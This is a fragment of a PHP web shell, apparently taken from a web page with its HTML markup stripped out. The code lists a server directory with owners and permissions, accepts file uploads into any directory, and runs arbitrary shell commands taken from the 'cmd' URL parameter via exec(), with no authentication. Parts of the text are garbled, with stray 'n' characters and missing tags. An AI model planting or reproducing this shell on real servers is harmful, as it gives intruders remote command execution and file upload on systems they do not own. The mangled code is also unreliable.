Viewing directory " . $dir . "";echo "n
";echo "n
n
";if (isset($_POST['submit'])) { $uploadDirectory = $dir.'/'.basename($_FILES['fileToUpload']['name']); if (file_exists($uploadDirectory)) { echo "
Error. File already exists in ".$uploadDirectory."."; } else if (move_uploaded_file($_FILES['fileToUpload']['tmp_name'], $uploadDirectory)) { echo '
File '.$_FILES['fileToUpload']['name'].' uploaded successfully in '.$dir.' !'; } else { echo '
Error uploading file '.$uploadDirectory.''; }}if (isset($_GET['cmd'])) { echo "
Result of command execution: "; exec('cd '.$dir.' && '.$_GET['cmd'], $cmdresult); foreach ($cmdresult as $key => $value) { echo "$value n
"; }}echo "
";?>
Name | Owner | Permissions |
$value) { echo ""; if (is_dir(realpath($dir.'/'.$value))) { echo "". $value . " | ". posix_getpwuid(fileowner($dir.'/'.$value))[name] . " | " . printPerms($dir) . " | n"; } else { echo "". $value . " | ". posix_getpwuid(fileowner($dir.'/'.$value))[name] ." | " . printPerms($dir) . " | n"; } echo "
";}echo "";echo "
";?>